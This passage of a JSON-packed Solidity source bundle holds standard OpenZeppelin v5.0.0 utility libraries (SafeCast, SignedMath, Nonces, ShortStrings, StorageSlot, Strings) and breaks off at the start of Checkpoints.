Returns the downcasted uint88 from uint256, reverting on\n * overflow (when the input is greater than largest uint88).\n *\n * Counterpart to Solidity's `uint88` operator.\n *\n * Requirements:\n *\n * - input must fit into 88 bits\n */\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n return uint88(value);\n }\n\n /**\n * @dev Returns the downcasted uint80 from uint256, reverting on\n * overflow (when the input is greater than largest uint80).\n *\n * Counterpart to Solidity's `uint80` operator.\n *\n * Requirements:\n *\n * - input must fit into 80 bits\n */\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n return uint80(value);\n }\n\n /**\n * @dev Returns the downcasted uint72 from uint256, reverting on\n * overflow (when the input is greater than largest uint72).\n *\n * Counterpart to Solidity's `uint72` operator.\n *\n * Requirements:\n *\n * - input must fit into 72 bits\n */\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n return uint72(value);\n }\n\n /**\n * @dev Returns the downcasted uint64 from uint256, reverting on\n * overflow (when the input is greater than largest uint64).\n *\n * Counterpart to Solidity's `uint64` operator.\n *\n * Requirements:\n *\n * - input must fit into 64 bits\n */\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n return uint64(value);\n }\n\n /**\n * @dev Returns the downcasted uint56 from uint256, reverting on\n * overflow (when the input is greater than largest uint56).\n *\n * Counterpart to Solidity's `uint56` operator.\n *\n * Requirements:\n *\n * - input must fit into 56 bits\n */\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n return uint56(value);\n }\n\n /**\n * @dev Returns the downcasted uint48 from uint256, reverting on\n * overflow (when the input is greater than largest uint48).\n *\n * Counterpart to Solidity's `uint48` operator.\n *\n * Requirements:\n *\n * - input must fit into 48 bits\n */\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n return uint48(value);\n }\n\n /**\n * @dev Returns the downcasted uint40 from uint256, reverting on\n * overflow (when the input is greater than largest uint40).\n *\n * Counterpart to Solidity's `uint40` operator.\n *\n * Requirements:\n *\n * - input must fit into 40 bits\n */\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n return uint40(value);\n }\n\n /**\n * @dev Returns the downcasted uint32 from uint256, reverting on\n * overflow (when the input is greater than largest uint32).\n *\n * Counterpart to Solidity's `uint32` operator.\n *\n * Requirements:\n *\n * - input must fit into 32 bits\n */\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n return uint32(value);\n }\n\n /**\n * @dev Returns the downcasted uint24 from uint256, reverting on\n * overflow (when the input is greater than largest uint24).\n *\n * Counterpart to Solidity's `uint24` operator.\n *\n * Requirements:\n *\n * - input must fit into 24 bits\n */\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n return uint24(value);\n }\n\n /**\n * @dev Returns the downcasted uint16 from uint256, reverting on\n * overflow (when the input is greater than largest uint16).\n *\n * Counterpart to Solidity's `uint16` operator.\n *\n * Requirements:\n *\n * - input must fit into 16 bits\n */\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n return uint16(value);\n }\n\n /**\n * @dev Returns the downcasted uint8 from uint256, reverting on\n * overflow (when the input is greater than largest uint8).\n *\n * Counterpart to Solidity's `uint8` operator.\n *\n * Requirements:\n *\n * - input must fit into 8 bits\n */\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n return uint8(value);\n }\n\n /**\n * @dev Converts a signed int256 into an unsigned uint256.\n *\n * Requirements:\n *\n * - input must be greater than or equal to 0.\n */\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n return uint256(value);\n }\n\n /**\n * @dev Returns the downcasted int248 from int256, reverting on\n * overflow (when the input is less than smallest int248 or\n * greater than largest int248).\n *\n * Counterpart to Solidity's `int248` operator.\n *\n * Requirements:\n *\n * - input must fit into 248 bits\n */\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int240 from int256, reverting on\n * overflow (when the input is less than smallest int240 or\n * greater than largest int240).\n *\n * Counterpart to Solidity's `int240` operator.\n *\n * Requirements:\n *\n * - input must fit into 240 bits\n */\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int232 from int256, reverting on\n * overflow (when the input is less than smallest int232 or\n * greater than largest int232).\n *\n * Counterpart to Solidity's `int232` operator.\n *\n * Requirements:\n *\n * - input must fit into 232 bits\n */\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int224 from int256, reverting on\n * overflow (when the input is less than smallest int224 or\n * greater than largest int224).\n *\n * Counterpart to Solidity's `int224` operator.\n *\n * Requirements:\n *\n * - input must fit into 224 bits\n */\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int216 from int256, reverting on\n * overflow (when the input is less than smallest int216 or\n * greater than largest int216).\n *\n * Counterpart to Solidity's `int216` operator.\n *\n * Requirements:\n *\n * - input must fit into 216 bits\n */\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int208 from int256, reverting on\n * overflow (when the input is less than smallest int208 or\n * greater than largest int208).\n *\n * Counterpart to Solidity's `int208` operator.\n *\n * Requirements:\n *\n * - input must fit into 208 bits\n */\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int200 from int256, reverting on\n * overflow (when the input is less than smallest int200 or\n * greater than largest int200).\n *\n * Counterpart to Solidity's `int200` operator.\n *\n * Requirements:\n *\n * - input must fit into 200 bits\n */\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int192 from int256, reverting on\n * overflow (when the input is less than smallest int192 or\n * greater than largest int192).\n *\n * Counterpart to Solidity's `int192` operator.\n *\n * Requirements:\n *\n * - input must fit into 192 bits\n */\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int184 from int256, reverting on\n * overflow (when the input is less than smallest int184 or\n * greater than largest int184).\n *\n * Counterpart to Solidity's `int184` operator.\n *\n * Requirements:\n *\n * - input must fit into 184 bits\n */\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int176 from int256, reverting on\n * overflow (when the input is less than smallest int176 or\n * greater than largest int176).\n *\n * Counterpart to Solidity's `int176` operator.\n *\n * Requirements:\n *\n * - input must fit into 176 bits\n */\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int168 from int256, reverting on\n * overflow (when the input is less than smallest int168 or\n * greater than largest int168).\n *\n * Counterpart to Solidity's `int168` operator.\n *\n * Requirements:\n *\n * - input must fit into 168 bits\n */\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int160 from int256, reverting on\n * overflow (when the input is less than smallest int160 or\n * greater than largest int160).\n *\n * Counterpart to Solidity's `int160` operator.\n *\n * Requirements:\n *\n * - input must fit into 160 bits\n */\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int152 from int256, reverting on\n * overflow (when the input is less than smallest int152 or\n * greater than largest int152).\n *\n * Counterpart to Solidity's `int152` operator.\n *\n * Requirements:\n *\n * - input must fit into 152 bits\n */\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int144 from int256, reverting on\n * overflow (when the input is less than smallest int144 or\n * greater than largest int144).\n *\n * Counterpart to Solidity's `int144` operator.\n *\n * Requirements:\n *\n * - input must fit into 144 bits\n */\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int136 from int256, reverting on\n * overflow (when the input is less than smallest int136 or\n * greater than largest int136).\n *\n * Counterpart to Solidity's `int136` operator.\n *\n * Requirements:\n *\n * - input must fit into 136 bits\n */\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int128 from int256, reverting on\n * overflow (when the input is less than smallest int128 or\n * greater than largest int128).\n *\n * Counterpart to Solidity's `int128` operator.\n *\n * Requirements:\n *\n * - input must fit into 128 bits\n */\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int120 from int256, reverting on\n * overflow (when the input is less than smallest int120 or\n * greater than largest int120).\n *\n * Counterpart to Solidity's `int120` operator.\n *\n * Requirements:\n *\n * - input must fit into 120 bits\n */\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int112 from int256, reverting on\n * overflow (when the input is less than smallest int112 or\n * greater than largest int112).\n *\n * Counterpart to Solidity's `int112` operator.\n *\n * Requirements:\n *\n * - input must fit into 112 bits\n */\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int104 from int256, reverting on\n * overflow (when the input is less than smallest int104 or\n * greater than largest int104).\n *\n * Counterpart to Solidity's `int104` operator.\n *\n * Requirements:\n *\n * - input must fit into 104 bits\n */\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int96 from int256, reverting on\n * overflow (when the input is less than smallest int96 or\n * greater than largest int96).\n *\n * Counterpart to Solidity's `int96` operator.\n *\n * Requirements:\n *\n * - input must fit into 96 bits\n */\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int88 from int256, reverting on\n * overflow (when the input is less than smallest int88 or\n * greater than largest int88).\n *\n * Counterpart to Solidity's `int88` operator.\n *\n * Requirements:\n *\n * - input must fit into 88 bits\n */\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int80 from int256, reverting on\n * overflow (when the input is less than smallest int80 or\n * greater than largest int80).\n *\n * Counterpart to Solidity's `int80` operator.\n *\n * Requirements:\n *\n * - input must fit into 80 bits\n */\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int72 from int256, reverting on\n * overflow (when the input is less than smallest int72 or\n * greater than largest int72).\n *\n * Counterpart to Solidity's `int72` operator.\n *\n * Requirements:\n *\n * - input must fit into 72 bits\n */\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int64 from int256, reverting on\n * overflow (when the input is less than smallest int64 or\n * greater than largest int64).\n *\n * Counterpart to Solidity's `int64` operator.\n *\n * Requirements:\n *\n * - input must fit into 64 bits\n */\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int56 from int256, reverting on\n * overflow (when the input is less than smallest int56 or\n * greater than largest int56).\n *\n * Counterpart to Solidity's `int56` operator.\n *\n * Requirements:\n *\n * - input must fit into 56 bits\n */\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int48 from int256, reverting on\n * overflow (when the input is less than smallest int48 or\n * greater than largest int48).\n *\n * Counterpart to Solidity's `int48` operator.\n *\n * Requirements:\n *\n * - input must fit into 48 bits\n */\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int40 from int256, reverting on\n * overflow (when the input is less than smallest int40 or\n * greater than largest int40).\n *\n * Counterpart to Solidity's `int40` operator.\n *\n * Requirements:\n *\n * - input must fit into 40 bits\n */\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int32 from int256, reverting on\n * overflow (when the input is less than smallest int32 or\n * greater than largest int32).\n *\n * Counterpart to Solidity's `int32` operator.\n *\n * Requirements:\n *\n * - input must fit into 32 bits\n */\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int24 from int256, reverting on\n * overflow (when the input is less than smallest int24 or\n * greater than largest int24).\n *\n * Counterpart to Solidity's `int24` operator.\n *\n * Requirements:\n *\n * - input must fit into 24 bits\n */\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int16 from int256, reverting on\n * overflow (when the input is less than smallest int16 or\n * greater than largest int16).\n *\n * Counterpart to Solidity's `int16` operator.\n *\n * Requirements:\n *\n * - input must fit into 16 bits\n */\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n /**\n * @dev Returns the downcasted int8 from int256, reverting on\n * overflow (when the input is less than smallest int8 or\n * greater than largest int8).\n *\n * Counterpart to Solidity's `int8` operator.\n *\n * Requirements:\n *\n * - input must fit into 8 bits\n */\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n /**\n * @dev Converts an unsigned uint256 into a signed int256.\n *\n * Requirements:\n *\n * - input must be less than or equal to maxInt256.\n */\n function toInt256(uint256 value) internal pure returns (int256) {\n // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n return int256(value);\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/SignedMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Nonces.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides tracking nonces for addresses. Nonces will only increment.\n */\nabstract contract Nonces {\n /**\n * @dev The nonce used for an `account` is not the expected current nonce.\n */\n error InvalidAccountNonce(address account, uint256 currentNonce);\n\n mapping(address account => uint256) private _nonces;\n\n /**\n * @dev Returns the next unused nonce for an address.\n */\n function nonces(address owner) public view virtual returns (uint256) {\n return _nonces[owner];\n }\n\n /**\n * @dev Consumes a nonce.\n *\n * Returns the current value and increments nonce.\n */\n function _useNonce(address owner) internal virtual returns (uint256) {\n // For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be\n // decremented or reset. This guarantees that the nonce never overflows.\n unchecked {\n // It is important to do x++ and not ++x here.\n return _nonces[owner]++;\n }\n }\n\n /**\n * @dev Same as {_useNonce} but checking that `nonce` is the next valid for `owner`.\n */\n function _useCheckedNonce(address owner, uint256 nonce) internal virtual {\n uint256 current = _useNonce(owner);\n if (nonce != current) {\n revert InvalidAccountNonce(owner, current);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/ShortStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol)\n\npragma solidity ^0.8.20;\n\nimport {StorageSlot} from \"./StorageSlot.sol\";\n\n// | string | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |\n// | length | 0x BB |\ntype ShortString is bytes32;\n\n/**\n * @dev This library provides functions to convert short memory strings\n * into a `ShortString` type that can be used as an immutable variable.\n *\n * Strings of arbitrary length can be optimized using this library if\n * they are short enough (up to 31 bytes) by packing them with their\n * length (1 byte) in a single EVM word (32 bytes). Additionally, a\n * fallback mechanism can be used for every other case.\n *\n * Usage example:\n *\n * ```solidity\n * contract Named {\n * using ShortStrings for *;\n *\n * ShortString private immutable _name;\n * string private _nameFallback;\n *\n * constructor(string memory contractName) {\n * _name = contractName.toShortStringWithFallback(_nameFallback);\n * }\n *\n * function name() external view returns (string memory) {\n * return _name.toStringWithFallback(_nameFallback);\n * }\n * }\n * ```\n */\nlibrary ShortStrings {\n // Used as an identifier for strings longer than 31 bytes.\n bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n error InvalidShortString();\n\n /**\n * @dev Encode a string of at most 31 chars into a `ShortString`.\n *\n * This will trigger a `StringTooLong` error is the input string is too long.\n */\n function toShortString(string memory str) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n /**\n * @dev Decode a `ShortString` back to a \"normal\" string.\n */\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n // using `new string(len)` would work locally but is not memory safe.\n string memory str = new string(32);\n /// @solidity memory-safe-assembly\n assembly {\n mstore(str, len)\n mstore(add(str, 0x20), sstr)\n }\n return str;\n }\n\n /**\n * @dev Return the length of a `ShortString`.\n */\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n if (result > 31) {\n revert InvalidShortString();\n }\n return result;\n }\n\n /**\n * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.\n */\n function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n return ShortString.wrap(FALLBACK_SENTINEL);\n }\n }\n\n /**\n * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n */\n function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n /**\n * @dev Return the length of a string that was encoded to `ShortString` or written to storage using\n * {setWithFallback}.\n *\n * WARNING: This will return the \"byte length\" of the string. This may not reflect the actual length in terms of\n * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.\n */\n function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/StorageSlot.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(newImplementation.code.length > 0);\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Strings.sol)\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"./math/Math.sol\";\nimport {SignedMath} from \"./math/SignedMath.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n uint8 private constant ADDRESS_LENGTH = 20;\n\n /**\n * @dev The `value` string doesn't fit in the specified `length`.\n */\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toStringSigned(int256 value) internal pure returns (string memory) {\n return string.concat(value < 0 ? \"-\" : \"\", toString(SignedMath.abs(value)));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n uint256 localValue = value;\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n localValue >>= 4;\n }\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal\n * representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"@openzeppelin/contracts/utils/structs/Checkpoints.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/structs/Checkpoints.sol)\n// This file was procedurally generated from scripts/generate/templates/Checkpoints.js.\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"../math/Math.sol\";\n\n/**\n * @dev This library defines the `Trace*` struct, for checkpointing values as they change at different points in\n * time, and later looking up past values by block number. See {Votes} as an example.\n *\n * To create a history of checkpoints define a variable type `Checkpoints.Trace*` in your contract, and store a new\n * checkpoint for the current transaction block using the {push} function.\n */\nlibrary Checkpoints {\n /**\n * @dev A value was attempted to be inserted on a past checkpoint.\n */\n error CheckpointUnorderedInsertion();\n\n struct Trace224 {\n Checkpoint224[] _checkpoints;\n }\n\n struct Checkpoint224 {\n uint32 _key;\n uint224 _value;\n }\n\n /**\n * @dev Pushes a (`key`, `value`) pair into a Trace224 so that it is stored as the checkpoint.\n *\n * Returns previous value and new value.\n *\n * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint32).max` key set will disable the\n * library.\n */\n function push(Trace224 storage self, uint32 key, uint224 value) internal returns (uint224, uint224) {\n return _insert(self._checkpoints, 